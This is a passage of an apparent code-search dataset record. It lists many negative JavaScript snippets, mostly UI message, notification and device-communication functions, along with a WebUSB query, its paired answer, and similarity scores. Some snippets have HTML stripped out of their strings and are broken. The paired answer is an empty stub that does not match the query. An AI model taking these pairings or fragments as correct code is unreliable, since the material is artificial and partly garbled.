INSUFICIENTE=======================//\\n\\n\\t\\t\\t\\t\\t\\tswal({\\n\\t\\t\\t\\t\\t\\t\\ttype: 'error',\\n\\t\\t\\t\\t\\t\\t\\ttitle: 'Oops...',\\n\\t\\t\\t\\t\\t\\t\\ttext: 'Tu saldo es insuficiente para poder realizar la trasaccion, recarga tu monedero e intenta de nuevo',\\n\\t\\t\\t\\t\\t\\t\\tfooter: 'Puedes recargas tu saldo con nostros mas informacion en nuestras redes sociales'\\n\\t\\t\\t\\t\\t\\t})\\n\\t\\t\\t\\t\\t\\tbreak;\\n\\n\\n\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t}\",\n \"inviaMessaggio(){\\n if(this.messaggioInputUtente != ''){\\n this.contacts[this.contattoAttivo].messages.push({\\n date: dayjs().format('YYYY/MM/DD HH:MM:SS'),\\n text: this.messaggioInputUtente,\\n status: 'sent',\\n stileMessaggio: 'message-sent'});\\n this.messaggioInputUtente = '';\\n setTimeout(()=>{\\n this.contacts[this.contattoAttivo].messages.push({\\n date: dayjs().format('YYYY/MM/DD HH:MM:SS'),\\n text: 'ok',\\n status: 'received',\\n stileMessaggio: 'message-received'});\\n }, 1000);\\n }\\n }\",\n \"function sucesso(msg) {\\n \\t$.notify({\\n \\tmessage: msg\\n\\n },{\\n type: 'success',\\n timer: 1000\\n });\\n}\",\n \"function sucesso(msg) {\\n \\t$.notify({\\n \\tmessage: msg\\n\\n },{\\n type: 'success',\\n timer: 1000\\n });\\n}\",\n \"function mensajeOk(mensaje) {\\n $(\\\"#mensaje\\\").html(\\\"\\\");\\n $(\\\"#mensaje\\\").append(mensaje);\\n mostrarMensaje(\\\"mensaje\\\");\\n ocultaMensaje(\\\"mensaje\\\");\\n}\",\n \"function sent() {\\n console.info(\\\"Fine processo d'invio notizie\\\")\\n}\",\n \"function mensaje (){\\n console.log('mensaje de la funcion');\\n}\",\n \"function imprimeMensaje() {\\r\\n console.log('Hola soy una funcion!');\\r\\n}\",\n \"function mensajeBienvenida() {\\n console.log(\\\"Bienvenido a Fabrega!\\\")\\n console.log(\\\"Ingrese código de artículo a comprar: \\\")\\n console.log(\\\"0001-Televisor\\\\n0002-Computadora\\\\n0003-Heladera\\\")\\n}\",\n \"function pulsaTecla(e){\\n\\tif(getOpcionInterfaz('correccion_rapida') && comprueba_pregunta()) preguntaRespondida();\\n\\treturn false;\\n}\",\n \"function mensaje(mje){\\n //creo un div para contener el mensaje\\n const div = document.createElement('div');\\n //le asigno una clase para su visualizacion\\n div.className = `alerta alert alert-warning mensaje`;\\n //le agrego un mensaje\\n div.appendChild(document.createTextNode(mje));\\n //identifico y asigno el objeto contenenedor del div\\n const contenedor = document.querySelector('.contenedor');\\n //identifico y asigno el objeto para posicionar el mensaje encima del mismo\\n const areaSig = document.querySelector('#card'); \\n //\\n //agregar el div creado al elemento contenedor\\n contenedor.insertBefore(div, areaSig);\\n // Remover el mensaje de alerta\\n //quitar el elemento despues de 2 segundos\\n setTimeout(function() {\\n document.querySelector('.alerta').remove();\\n }, 2000);\\n \\n}\",\n \"mostra_successo(msg) {\\n\\t\\tvar contenuto = document.getElementById(\\\"contenuto\\\");\\n\\t\\twhile ( contenuto.firstChild != null) {\\n\\t\\t\\tcontenuto.removeChild(contenuto.firstChild);\\n\\t\\t}\\n\\t\\t$(\\\"#contenuto\\\").append(msg);\\n\\t\\t\\n\\t}\",\n \"async function valiMess(event){\\n event.preventDefault(); //dont refresh any way\\n let mes = document.getElementById('mes').value.trim()\\n document.getElementById('mes').value = ''\\n if(mes === \\\"\\\"){\\n alert(\\\"message required\\\")\\n event.preventDefault()\\n return\\n }\\n\\n document.getElementById(\\\"det\\\").style.visibility = \\\"visible\\\"\\n await fetch(\\\"/addMessage?mess=\\\"+mes, {method: \\\"post\\\"})\\n .then(res => res.json())\\n .then(response => {\\n for (let i in response) {\\n if(response[i] === \\\"disconnected\\\")\\n stopIntervalAndReturn()\\n else if(response[i] === \\\"message required\\\"){\\n alert(\\\"message required\\\")\\n return\\n }\\n\\n document.getElementById(\\\"det\\\").innerText = response[i]\\n }\\n })\\n .catch(err => (console.log(err.message)))\\n\\n checkNewMessage()\\n }\",\n \"function message(retorno){\\n\\n if(retorno[0] == 'msg'){\\n let msg = $('
    ').addClass('alert alert-'+retorno[1]+' alert-dismissible fadeshow col-md-12');\\n msg.append($('\\n
    \\n

    ${mensagem}

    \\n
    \\n

    \\n `\\n document.getElementById(this.divsIDs.header).insertBefore(div,document.getElementById(this.divsIDs.funciWrapper))\\n }\\n if(sucess_error==='error'){\\n const div = document.createElement('div')\\n div.id = 'message'\\n div.innerHTML = `\\n
    \\n
    \\n
    \\n \\n
    \\n

    ${mensagem}

    \\n
    \\n
    \\n `\\n document.getElementById(this.divsIDs.header).insertBefore(div,document.getElementById(this.divsIDs.funciWrapper))\\n }\\n setTimeout(() => {\\n document.getElementById('message').remove()\\n }, 3000);\\n }\",\n \"function sendMessage(){\\n //Gets the message that will be sent to the server and put it into variable\\n var msgToSend = g.messageBox.value.trim()\\n \\n //Checks whethers it is null, does not want to send empty string\\n if(msgToSend != \\\"\\\"){\\n //Stops the script from updating every 5 seconds, makes it synchronous,\\n //then sends messages and finally makes it asynchronous again.\\n clearInterval(g.updateInterval);\\n serverRequest(getParams(msgToSend),false);\\n g.updateInterval = setInterval(getMessages, 5000); \\n g.messageBox.value = \\\"\\\"; //clear message box\\n }\\n}\",\n \"function messageNoHousehold() {\\n addMessage('You aren\\\\'t a registered member of a household. Click \\\"Household\\\" on the navigation menu to create or join a household.', 'error');\\n}\",\n \"_msgCallback(err) {\\n if (err) {\\n console.log(err);\\n // TODO: Handle it by showing a prompt\\n }\\n\\n // Re-enable message composer\\n this.setState({\\n busy: false\\n });\\n }\",\n \"function test(message) {\\n return 0;\\n}\",\n \"function HataMesaj( text){\\n\\t text = jQuery.trim(text); \\n\\t var dil = \\\"Hata !\\\";\\n\\t if( strcmp( er.lang, \\\"en\\\" ) == 0 )\\n\\t dil = \\\"Error !\\\";\\n\\t if( $(\\\".msgGrowl-container\\\").find(\\\".msgGrowl\\\").length <= 1 ){ \\n\\t $.msgGrowl ({\\n\\t element: $('body').parent(),\\n\\t type: 'error', //$(this).attr ('data-type') // info success warning error\\n\\t title: dil,\\n\\t text: text.charAt(0).toUpperCase() + text.slice(1) // capitialize first character\\n\\t });\\n\\t }\\n\\t }\",\n \"function sendMessage(){}\",\n \"function failedsent() {\\n console.error(\\\"Invio delle notizie non riuscito!\\\")\\n $(\\\"#formerr\\\").fadeIn(750);\\n $(\\\"#infomsg\\\").text(\\\"Invio delle notizie non riuscito!\\\");\\n $(\\\"#formerr\\\").delay(3000).fadeOut(2000);\\n}\",\n \"function obtenerMensaje1(campo){\\n\\tvar mensaje = \\\"\\\";\\n switch(campo){\\n case 'idproraz': mensaje = \\\"Si modific&oacute; alg&uacuten campo de este m&oacute;dulo debe justificar.\\\";\\n\\tbreak;\\n\\t}\\n\\treturn mensaje; \\n\\t\\n}\",\n \"function alertNotificar(texto, tipo){\\n PNotify.removeAll()\\n new PNotify({\\n title: 'Mensaje de Información',\\n text: texto,\\n type: tipo,\\n hide: true,\\n delay: 7000,\\n styling: 'bootstrap3',\\n addclass: ''\\n });\\n }\",\n \"function showMessageDestinatario(text){\\r\\n\\tif(text == \\\"\\\")\\r\\n\\t\\treturn;\\r\\n\\r\\n\\tif(lastSender == IS_LAST_NON_SPECIFICATO || lastSender != IS_LAST_DESTINATARIO){\\r\\n\\t\\tlastSender = IS_LAST_DESTINATARIO;\\r\\n\\t\\tchangeLastSender();\\r\\n\\t}\\r\\n\\r\\n\\tshowMessage(text);\\r\\n}\",\n \"function notif(message, success){\\n success = (typeof success !== 'undefined') ? success : true;\\n $('
    ' + message + '
    ')\\n .prependTo(\\\"body\\\")\\n .fadeIn('fast')\\n .delay(5000)\\n .fadeOut('fast')\\n .queue(function(){$(this).remove()});\\n}\",\n \"function checkMessage(inputMsg) {\\n if(inputMsg == undefined){\\n return \\\"\\\";\\n }\\n else{\\n return inputMsg;\\n }\\n }\",\n \"function notyMessage(statue) {\\n $.noty.defaults.killer = true; //closes existing notys\\n noty({\\n text: 'Congratulations, you found ' + statue.name + '. X ',\\n layout: 'topCenter',\\n closeWith: ['click'],\\n type: 'success'\\n });\\n}\",\n \"registeredMsg() {\\n return 'You are already regsitered!';\\n }\",\n \"function ClearStatusMsg() \\n {\\n\\n SetStatusMsg(\\\"StatusMsg\\\", \\\"\\\");\\n }\",\n \"function mensagem(texto) {\\n $(\\\"#erro p\\\").text(texto).addClass('alert-danger').addClass('alert');\\n\\n if (texto)\\n $(\\\"#erro\\\").show(\\\"slow\\\");\\n else\\n $(\\\"#erro\\\").hide(\\\"slow\\\");\\n\\n setTimeout(function () {\\n $(\\\"#erro\\\").hide('slow');\\n }, 3000);\\n}\",\n \"function limpaMensagens() {\\n $rootScope.messages.length = 0;\\n }\",\n \"function process_event(event){\\n // Capturamos los datos del que genera el evento y el mensaje\\n var senderID = event.sender.id;\\n var message = event.message;\\n \\n // Si en el evento existe un mensaje de tipo texto\\n if(message.text){\\n console.log('=========MENSAJE DE ============')\\n console.log('Mensaje de ' + senderID);\\n console.log('mensaje: ' + message.text);\\n\\n if(message.text === 'Integrantes'){\\n enviar_texto(senderID, {\\n \\\"text\\\": '-Flores Olegua Johan Rafael 1910082' + ' ' +'-Pozo Aquino Erick Junior 1316534' + ' ' +'-Arroyo Caseres Juan Carlos ',\\n })\\n }\\n if(message.text === 'integrantes'){\\n enviar_texto(senderID, {\\n \\\"text\\\": '-Flores Olegua Johan Rafael 1910082' + ' ' +'-Pozo Aquino Erick Junior 1316534' + ' ' +'-Arroyo Caseres Juan Carlos ',\\n })\\n }\\n}\\n \\n // Enviamos el mensaje mediante SendAPI\\n //enviar_texto(senderID, response);\\n }\",\n \"function notifyFail(msg) {\\n const notifcns = document.querySelector('#notifications');\\n if (notifcns) notifcns.remove();\\n document.querySelector('nav .notifications .counter').textContent = ' ! '; // note U+2005 ¼ em spaces\\n const notificationsHtml = `
    ${msg}
    `;\\n document.querySelector('nav .notifications').insertAdjacentHTML('beforeend', notificationsHtml);\\n document.querySelector('nav .notifications').classList.remove('hide');\\n }\",\n \"function displayMessage(msg) {\\r\\n $('#msg').bind(\\\"DOMSubtreeModified\\\", function () {\\r\\n window.setTimeout(function () {\\r\\n $(\\\".alert\\\").fadeTo(500, 0).slideUp(500, function () {\\r\\n $(this).remove();\\r\\n document.getElementById(\\\"msg\\\").classList.toggle(\\\"frente\\\");\\r\\n });\\r\\n }, 2500);\\r\\n });\\r\\n // Acrescenta classe à DIV para ficar à frente da DIV branca-transparente\\r\\n document.getElementById(\\\"msg\\\").classList.toggle(\\\"frente\\\");\\r\\n // Insere os dados da mensagem de alerta na DIV e exibe a mensagem\\r\\n $('#msg').html('
    ' + msg + '
    ');\\r\\n}\",\n \"function piman_send_message(msg,error){\\n msg = '' + msg + '';\\n\\n $(window).scrollTop($('body').position().top)\\n\\n $(\\\"#notifications_content\\\").html(msg)\\n .addClass(error ? 'error' : 'success');\\n\\n $(\\\"#notifications\\\")\\n .toggle()\\n .delay(5000).fadeOut()\\n .click(function(){$(this).stop(true,true).fadeOut()});\\n\\n}\",\n \"_ackSendMessageHandler(json){\\n\\t if (json.user !== CooperativeEditorParticipants.userName ){\\n \\t\\t\\tthis.domHost.playTTS(json.user);\\n \\t\\t}\\n\\n \\t\\tthis.push('messages', {\\\"user\\\": json.user, \\\"message\\\": json.message, \\\"time\\\": json.time});\\n \\t\\tthis.domHost.playSound(\\\"sendMessage\\\", json.effect, json.position);\\n \\t\\t\\n \\t\\tthis.isTyping = false;\\n }\",\n \"function ChatMessage() {\\n if (document.getElementById(\\\"chatSend\\\").value.trim() != \\\"\\\") {\\n var ChatMsg = document.getElementById(\\\"chatSend\\\");\\n ChatUser(ChatMsg.value);\\n //ChatAdmin(\\\"Please wait\\\");\\n // var blMsg = SendNewMsg(ChatMsg.value);\\n // if (blMsg) {\\n // cntMsg = cntMsg + 1;\\n // }\\n //alert(\\\"End\\\");\\n\\n // var blMsg = CallSendMsg(cntMsg);\\n // if (blMsg) {\\n // cntMsg = cntMsg + 1;\\n // }\\n var blMsg = ShowAdminMessage(ChatMsg.value);\\n if (blMsg) {\\n cntMsg = cntMsg + 1;\\n }\\n\\n //ChatSuggestions(\\\"test2\\\");\\n ChatMsg.value = \\\"\\\";\\n return false;\\n }\\n}\",\n \"function _noconn()\\n\\t{\\n\\t\\tUTILS.msgbox(\\\"You do not have a good enough signal to complete the request. Please try again later.\\\", \\\"No Connection\\\");\\n\\t}\",\n \"function Fnc_BuscarInformacionHogar(s, e) {\\n\\n if (txtIdentidad.GetText() != \\\"\\\" || txtHogar.GetText() != \\\"\\\") {\\n var NumHogar = (txtHogar.GetText() == \\\"\\\") ? 0 : txtHogar.GetText()\\n if (txtIdentidad.GetText() != \\\"\\\") {\\n if (txtIdentidad.GetText().length != 13) {\\n $(\\\".warning\\\").hide()\\n $(\\\"body\\\").waitMe(\\\"hide\\\")\\n $(\\\"#Error_text\\\").text(\\\"error dede de ingresar un numero de identidad valido\\\")\\n $(\\\".error\\\").show()\\n return 0;\\n }\\n }\\n Fnc_PeticionInformacionHogarSuspender(NumHogar, txtIdentidad.GetText())\\n\\n } else {\\n $(\\\".warning\\\").hide()\\n $(\\\"body\\\").waitMe(\\\"hide\\\")\\n $(\\\"#Error_text\\\").text(\\\"error no debe de haber campos vacios\\\")\\n $(\\\".error\\\").show()\\n }\\n\\n}\",\n \"_createMessage() {\\n let messageArr = ['абонент', 'абонента', 'абонентов'];\\n\\n function createMessage(number, startWord) {\\n let endMessage = null;\\n let startMessage = (number === 1) ? startWord : (startWord + \\\"o\\\");\\n\\n if(number === 1) {\\n endMessage = messageArr[0];\\n } else if (number == 12\\n || number == 13\\n || number == 14) {\\n\\n endMessage = messageArr[2];\\n } else if( number.toString()[number.toString().length - 1] === '2'\\n || number.toString()[number.toString().length - 1] === '3'\\n || number.toString()[number.toString().length - 1] === '4') {\\n\\n endMessage = messageArr[1];\\n } else {\\n endMessage = messageArr[2];\\n }\\n\\n return startMessage + \\\" \\\" + number + \\\" \\\" + endMessage;\\n }\\n\\n noty({\\n text: createMessage( (this._correctData.length), 'Загружен'),\\n type: 'success',\\n timeout: '3000'\\n });\\n\\n if(this._inCorrectData.length) {\\n noty({\\n text: createMessage( (this._inCorrectData.length - 1), 'Не загружен'),\\n type: 'error',\\n timeout: '3000'\\n });\\n }\\n }\",\n \"limparMsgAlert() {\\n divMsg.innerHTML = \\\"\\\";\\n\\n\\n }\",\n \"function congratsMessage(){\\n\\tif (matchedCards.length === 16){\\n\\t\\tsetTimeout(function(){\\n\\t\\t\\ttoggleModal();\\n\\t\\t\\t},1000);\\n\\t\\tstopTimer();\\n\\t}\\n}\",\n \"function callbackValidation(msg){\\n swal({\\n title: msg,\\n text: 'por favor revise sus datos',\\n imageUrl: '../assets/img/callback/missing.png',\\n imageHeight: 90,\\n animation: true,\\n confirmButtonColor: '#4fa7f3'\\n })\\n}\",\n \"function warn(msg){\\n\\t\\t\\n\\t\\tflashCount = 0;\\n\\t\\t\\n\\t\\tif ( null == msg ){\\t\\n\\t\\t\\tfaultMsg=\\\"The inverter has faulted!\\\"; \\n\\t\\t\\t$(\\\"#alarmMessage\\\").html(\\\"The inverter has faulted!\\\");\\n\\t\\t} else {\\n\\t\\t\\tfaultMsg=msg;\\n\\t\\t\\t$(\\\"#alarmMessage\\\").html(\\\"FAULTS:\\\"+msg);\\n\\t\\t}\\n\\n\\t\\t$(\\\"#alarm\\\").show();\\n\\t\\tif ( !booFault ) {\\n\\t\\t\\tbooFault = true;\\n\\t\\t\\tscreenFlash();\\n\\t\\t\\tsoundAlarm();\\n\\t\\t}\\n\\t\\t\\n\\n\\t}\",\n \"function mensaje(){\\n\\treturn 'Hola Mundo JavaScript';\\n}\",\n \"function onSendMessage(){\\n var msg = document.getElementById(\\\"usermsg\\\").value;\\n if(msg == \\\"\\\") alert(\\\"assicurati di inserire il testo da inviare\\\");\\n else {\\n if(sex == \\\"lui\\\")\\n msg = \\\"newMsg \\\" + name + \\\":
    \\\" + document.getElementById(\\\"usermsg\\\").value + \\\"
    \\\";\\n\\telse\\n msg = \\\"newMsg \\\" + name + \\\":
    \\\" + document.getElementById(\\\"usermsg\\\").value + \\\"
    \\\";\\n //alert(msg);\\n connection.send(msg);\\n document.getElementById(\\\"usermsg\\\").value=\\\"\\\";\\n }\\n}\",\n \"function testingMSGS(){\\n \\n}\",\n \"function mensaje(){\\r\\n document.write(\\\"Holissss\\\");\\r\\n document.write(\\\"*************\\\")\\r\\n}\",\n \"function submitMsg() {\\n // only submit messages\\n if(ctrl.inputMsg.length > 0) {\\n SocketService.submitMsg(ctrl.inputMsg);\\n\\n // empty the message box\\n ctrl.inputMsg = '';\\n }\\n }\",\n \"function removeMSG(msg) {\\n setTimeout(function () {\\n var Idx = msg.Msg;\\n var isConf = !!msg.UID;\\n\\n var message = document.getElementById(isConf ? \\\"conf-\\\" + msg.UID + \\\"-\\\" + Idx : \\\"priv-\\\" + Idx);\\n\\n if (message){\\n message.innerHTML = \\\"\\\";\\n }\\n }, 100);\\n }\"\n]"},"negative_scores":{"kind":"list like","value":["0.66921383","0.6573976","0.65367085","0.65140164","0.65140164","0.6327588","0.6315882","0.6301805","0.62942123","0.62942123","0.6260059","0.6259319","0.6250487","0.62083673","0.61987877","0.6191728","0.6167637","0.6163977","0.61625004","0.6136166","0.6130755","0.6086186","0.6079344","0.6074803","0.6069491","0.6065948","0.606437","0.6053416","0.60196537","0.6005237","0.5983749","0.59741026","0.5973919","0.5956883","0.5956883","0.59453595","0.59440964","0.5941953","0.59386414","0.5929799","0.5926472","0.5922072","0.5917555","0.5902072","0.5900526","0.5878665","0.5878582","0.5849199","0.5839673","0.58336496","0.5808393","0.5801673","0.5801113","0.5800586","0.5796849","0.5792307","0.5791454","0.5777531","0.57702833","0.5768341","0.5764947","0.5764947","0.5759434","0.57561857","0.5753459","0.57506657","0.5747095","0.57368934","0.57321477","0.5729462","0.57266605","0.5724488","0.57235736","0.5722605","0.57117665","0.5710674","0.5708178","0.5706992","0.570278","0.5701467","0.5696774","0.5696125","0.5694877","0.56889725","0.5688284","0.5679259","0.56764454","0.56750274","0.56735367","0.56675375","0.5659007","0.56483006","0.5647845","0.56452954","0.5641751","0.56394124","0.5638543","0.56367475","0.5634493","0.5625873","0.5621411"],"string":"[\n \"0.66921383\",\n \"0.6573976\",\n \"0.65367085\",\n \"0.65140164\",\n \"0.65140164\",\n \"0.6327588\",\n \"0.6315882\",\n \"0.6301805\",\n \"0.62942123\",\n \"0.62942123\",\n \"0.6260059\",\n \"0.6259319\",\n \"0.6250487\",\n \"0.62083673\",\n \"0.61987877\",\n \"0.6191728\",\n \"0.6167637\",\n \"0.6163977\",\n \"0.61625004\",\n \"0.6136166\",\n \"0.6130755\",\n \"0.6086186\",\n \"0.6079344\",\n \"0.6074803\",\n \"0.6069491\",\n \"0.6065948\",\n \"0.606437\",\n \"0.6053416\",\n \"0.60196537\",\n \"0.6005237\",\n \"0.5983749\",\n \"0.59741026\",\n \"0.5973919\",\n \"0.5956883\",\n \"0.5956883\",\n \"0.59453595\",\n \"0.59440964\",\n \"0.5941953\",\n \"0.59386414\",\n \"0.5929799\",\n \"0.5926472\",\n \"0.5922072\",\n \"0.5917555\",\n \"0.5902072\",\n \"0.5900526\",\n \"0.5878665\",\n \"0.5878582\",\n \"0.5849199\",\n \"0.5839673\",\n \"0.58336496\",\n \"0.5808393\",\n \"0.5801673\",\n \"0.5801113\",\n \"0.5800586\",\n \"0.5796849\",\n \"0.5792307\",\n \"0.5791454\",\n \"0.5777531\",\n \"0.57702833\",\n \"0.5768341\",\n \"0.5764947\",\n \"0.5764947\",\n \"0.5759434\",\n \"0.57561857\",\n \"0.5753459\",\n \"0.57506657\",\n \"0.5747095\",\n \"0.57368934\",\n \"0.57321477\",\n \"0.5729462\",\n \"0.57266605\",\n \"0.5724488\",\n \"0.57235736\",\n \"0.5722605\",\n \"0.57117665\",\n \"0.5710674\",\n \"0.5708178\",\n \"0.5706992\",\n \"0.570278\",\n \"0.5701467\",\n \"0.5696774\",\n \"0.5696125\",\n \"0.5694877\",\n \"0.56889725\",\n \"0.5688284\",\n \"0.5679259\",\n \"0.56764454\",\n \"0.56750274\",\n \"0.56735367\",\n \"0.56675375\",\n \"0.5659007\",\n \"0.56483006\",\n \"0.5647845\",\n \"0.56452954\",\n \"0.5641751\",\n \"0.56394124\",\n \"0.5638543\",\n \"0.56367475\",\n \"0.5634493\",\n \"0.5625873\",\n \"0.5621411\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":16,"cells":{"query":{"kind":"string","value":"Call WebUSB API to send response.bin to device"},"document":{"kind":"string","value":"function sendToken2Device (unlockToken) {\n\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["async function RequestUSBDevice() { \n await navigator.usb.requestDevice({ filters: [{}] });\n}","async function SendBlyncUSB30ControlCommand(deviceInfo, byRedValue, byGreenValue, byBlueValue, byLightControl, byMusicControl_1, byMusicControl_2) {\n\n try {\n var device = deviceInfo.device;\n\n await device.open();\n //await device.reset();\n\n if (device.configuration === null) {\n await device.selectConfiguration(1);\n }\n\n\t\tawait device.claimInterface(0);\n\t\t\n abyBlyncUsb30ReportBuffer[0] = byRedValue;\n abyBlyncUsb30ReportBuffer[1] = byBlueValue;\n abyBlyncUsb30ReportBuffer[2] = byGreenValue;\n abyBlyncUsb30ReportBuffer[3] = byLightControl;\n abyBlyncUsb30ReportBuffer[4] = byMusicControl_1;\n abyBlyncUsb30ReportBuffer[5] = byMusicControl_2;\n abyBlyncUsb30ReportBuffer[6] = 0xFF;\n abyBlyncUsb30ReportBuffer[7] = 0x22;\n\n var result = await device.controlTransferOut( \n {\n requestType: 'class',\n recipient: 'interface',\n request: 0x09,\n value: 0x0200,\n index: 0x0000\n },\n abyBlyncUsb30ReportBuffer);\n\n await device.close();\n } catch (e) {\n console.log(\"Exception: \" + e);\n }\n}","respondToArduino(command){\n BluetoothSerial.write(command)\n .then((res) => {\n console.log(res, command)\n })\n .catch((err) => console.log(err.message))\n }","requestUsb() {\n return new Observable(observer => {\n navigator.usb.requestDevice({ filters: [] })\n .then((result) => {\n this.vendorId = result.vendorId;\n this.productId = result.productId;\n return observer.next(result);\n }).catch(error => {\n return observer.error(error);\n });\n });\n }","async function uBitOpenDevice(device, callback) {\n const transport = new DAPjs.WebUSB(device)\n const target = new DAPjs.DAPLink(transport)\n let buffer=\"\" // Buffer of accumulated messages\n const parser = /([^.:]*)\\.*([^:]+|):(.*)/ // Parser to identify time-series format (graph:info or graph.series:info)\n \n target.on(DAPjs.DAPLink.EVENT_SERIAL_DATA, data => {\n buffer += data;\n let firstNewline = buffer.indexOf(\"\\n\")\n while(firstNewline>=0) {\n let messageToNewline = buffer.slice(0,firstNewline)\n let now = new Date() \n // Deal with line\n // If it's a graph/series format, break it into parts\n let parseResult = parser.exec(messageToNewline)\n if(parseResult) {\n let graph = parseResult[1]\n let series = parseResult[2]\n let data = parseResult[3]\n let callbackType = \"graph-event\"\n // If data is numeric, it's a data message and should be sent as numbers\n if(!isNaN(data)) {\n callbackType = \"graph-data\"\n data = parseFloat(data)\n }\n // Build and send the bundle\n let dataBundle = {\n time: now,\n graph: graph, \n series: series, \n data: data\n }\n callback(callbackType, device, dataBundle)\n } else {\n // Not a graph format. Send it as a console bundle\n let dataBundle = {time: now, data: messageToNewline}\n callback(\"console\", device, dataBundle)\n }\n buffer = buffer.slice(firstNewline+1) // Advance to after newline\n firstNewline = buffer.indexOf(\"\\n\") // See if there's more data\n }\n });\n await target.connect();\n await target.setSerialBaudrate(115200)\n //await target.disconnect();\n device.target = target; // Store the target in the device object (needed for write)\n device.callback = callback // Store the callback for the device\n callback(\"connected\", device, null) \n target.startSerialRead()\n return Promise.resolve()\n}","async send_cmd(cmd, options={}) {\n const data = options.data;\n const textDecode = (options.textDecode !== undefined ? !!options.textDecode : true);\n const sleepOverride = (parseInt(options.sleepOverride) || 10);\n const cmdIndex = (parseInt(options.cmdIndex) || 0);\n\n if (!this.device || !this.device.opened) {\n this.log(\"error: device not connected.\\n\", \"red\");\n this.log(\"Use button to connect to a supported programmer.\\n\", \"red\");\n return Promise.reject(\"error: device not opened\");\n }\n\n const opts = {\n requestType: \"vendor\",\n recipient: \"device\",\n request: 250,\n value: this.CMD_LUT[cmd],\n index: cmdIndex\n };\n\n // transfer data out\n const res = data\n ? await this.device.controlTransferOut(opts, data)\n : await this.device.controlTransferOut(opts);\n\n // sleep for a bit to give the USB device some processing time leeway\n await (() => new Promise(resolve => setTimeout(resolve, sleepOverride)))();\n\n return this.device.controlTransferIn({\n requestType: \"vendor\",\n recipient: \"device\",\n request: 249,\n value: 0x70,\n index: 0x81\n }, 64).then(result => {\n return textDecode\n ? (new TextDecoder()).decode(result.data)\n : result.data.buffer;\n });\n }","function sendCompleted(usbEvent) {\n\tif (chrome.runtime.lastError) {\n\t\tconsole.error(\"sendCompleted Error:\", chrome.runtime.lastError.message);\n\t}\n\n\tif (usbEvent) {\n\t\tif (usbEvent.data) {\n\t\t\tvar buf = new Uint8Array(usbEvent.data);\n\t\t\tconsole.log(\"sendCompleted Buffer:\", usbEvent.data.byteLength, buf);\n\t\t}\n\t\tif (usbEvent.resultCode !== 0) {\n\t\t\tchangeState(state.connected);\n\t\t\terrorln(\"Error writing to device: \" + chrome.runtime.lastError.message);\n\t\t}\n\t}\n}","async getRequestDeviceInfo() {\n const outputReportID = 0x01;\n const subcommand = [0x02];\n const data = [\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n ...subcommand,\n ];\n await this.device.sendReport(outputReportID, new Uint8Array(data));\n\n return new Promise((resolve) => {\n const onDeviceInfo = ({ detail: deviceInfo }) => {\n this.removeEventListener('deviceinfo', onDeviceInfo);\n delete deviceInfo._raw;\n delete deviceInfo._hex;\n resolve(deviceInfo);\n };\n this.addEventListener('deviceinfo', onDeviceInfo);\n });\n }","function send(data) {\n\n if(MODE == MODES.TEST) {\n ws.send(data);\n } else if(MODE == MODES.BLUETOOH) {\n\n var data = new Uint8Array(1);\n data[0] = data;\n\n ble.write(id, serviceId, serviceName, data.buffer, function() {\n console.log(\"ble -> sendSucess\");\n }, function(err) {\n console.log(\"ble -> sendFailure : \" + JSON.stringify(err));\n });\n\n }\n\n}","function readRHUSB() {\n port.write(\"PA\\r\\n\");\n}","function processDeviceCommand(request, response) {\n\t\n\tvar deviceIP = request.headers[\"tuyapi-ip\"]\n\tvar deviceID = request.headers[\"tuyapi-devid\"]\n\tvar localKey = request.headers[\"tuyapi-localkey\"]\n\tvar command = request.headers[\"tuyapi-command\"] \n\n\t//var respMsg = \"deviceCommand sending to deviceID: \" + deviceID + \" Command: \" + command;\n\tvar respMsg = \"deviceCommand sending to IP: \" + deviceIP + \" Command: \" + command;\n\tconsole.log(respMsg);\n\n\tvar device = new TuyaDevice({\n\t //ip: deviceIP,\n\t id: deviceID,\n\t key: localKey\n\t , issueGetOnConnect: false\n\t});\n\n\tdevice.on('error', error => {\n\t\tconsole.log('Error!', error);\n\t});\n\n\t(async () => {\n\t\tawait device.find();\t \n\n\t\tawait device.connect();\t \n\t\tconsole.log('Connected to device!');\n\t\tlet status = await device.get();\t \n\t\tconsole.log(`Current status: ${status}.`);\t\n\t\tswitch(command) {\n\t\t\tcase \"off\":\t\n\t\t\t\tconsole.log('Setting to false!');\n\t\t\t\tawait device.set({set: false});\n\t\t\tbreak\n\t\t\tcase \"on\":\n\t\t\t\tconsole.log('Setting to true!');\n\t\t\t\tawait device.set({set: true});\n\t\t\tbreak\n\t\t\tcase \"status\":\t\n\t\t\t\tconsole.log('Received status request!');\n\t\t\tbreak\n\t\t}\n\t\tstatus = await device.get(); \t\t \n\t\tconsole.log(`New status: ${status}.`);\t \n\t\tdevice.disconnect();\n\n\t\ttry{\n\t\t\tconsole.log(\"Sending Status to SmartThings:\" +status);\t\n\t\t\tresponse.setHeader(\"tuyapi-onoff\", status);\n\t\t\tresponse.setHeader(\"cmd-response\", status);\n\t\t\tresponse.end();\n\t\t\tconsole.log(\"Status sent to SmartThings:\" +status);\t\n\t\t}catch (err){\n\t\t\tconsole.log(\"Error:\" +err);\t\n\t\t}\n\t})();\t\n}","function bleSend() {\n /* check if the device is connected if true send file*/\n let encoder = new TextEncoder('utf-8');\n\n if(isConnected){\n /* send an erase command so that the file gets started fresh */\n RX_characteristic.writeValue(encoder.encode(\"erase\"));\n for(let a = 0; a<3000; a++){\n console.log(\"\")\n }\n /* get the contents of the editor that is in use */\n let editorContents = editor.getValue();\n /* send the contents to the device */\n //split the editor contents into newlines.\n temp = editorContents.split(/\\n/);\n for(let i=0; idebug: '\" + msg + \"'\");\n\t\t\tbreak;\n\t\t}\n\t\tcase CMD_PING:\n\t\t\tmessageln(\"ping\");\n\t\t\tbreak;\n\t\tcase CMD_VERSION:\n\t\t{\n\t\t\tvar version = \"\" + dv.getUint8(2) + \".\" + dv.getUint8(3);\n\t\t\tmessageln(\"command: Version \" + version);\n\t\t\tbreak;\n\t\t}\n\t\tdefault:\n\t\t\terrorln(\"unknown command\");\n\t\t\tbreak;\n\t}\n\n\tchrome.usb.interruptTransfer(mp_device, in_transfer, onEvent);\n}","async function findUSBDevice(event) {\n // STEP 